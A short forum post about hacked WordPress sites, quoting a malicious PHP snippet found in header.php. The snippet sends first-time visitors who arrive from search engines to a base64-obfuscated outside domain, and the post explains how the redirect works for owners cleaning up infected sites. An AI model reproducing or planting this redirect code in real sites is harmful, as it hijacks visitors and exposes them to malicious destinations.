Quote:
|
The bad guys are using a number of ways to hide their hacks
|
Quote:
|
Originally Posted by one of hacks
They are using cookies to redirect traffic, malware code is in header.php
PHP Code:
PHP:
1.
<?php $seref=array("google","msn","live","altavista","ask","yahoo","aol","cnn","weather","alexa");
2.
3.
$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser="1"; break; }
4.
5.
if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWx0cy5uZXQ=")."/"); exit; }?>
|
Now visit this site and read all about possible hack and how to fix:
Did your WordPress site get hacked?
More discussion about this fix tips here:
Quote:
|
Originally Posted by www.shoemoney.com
The code above basically redirects people from your website to their choice if:
1) they are coming from a search engine or other big referral site.
2) they have never visited your site before (no cookies are set).
|
Wordpress Redirect h4x’s - ShoeMoney®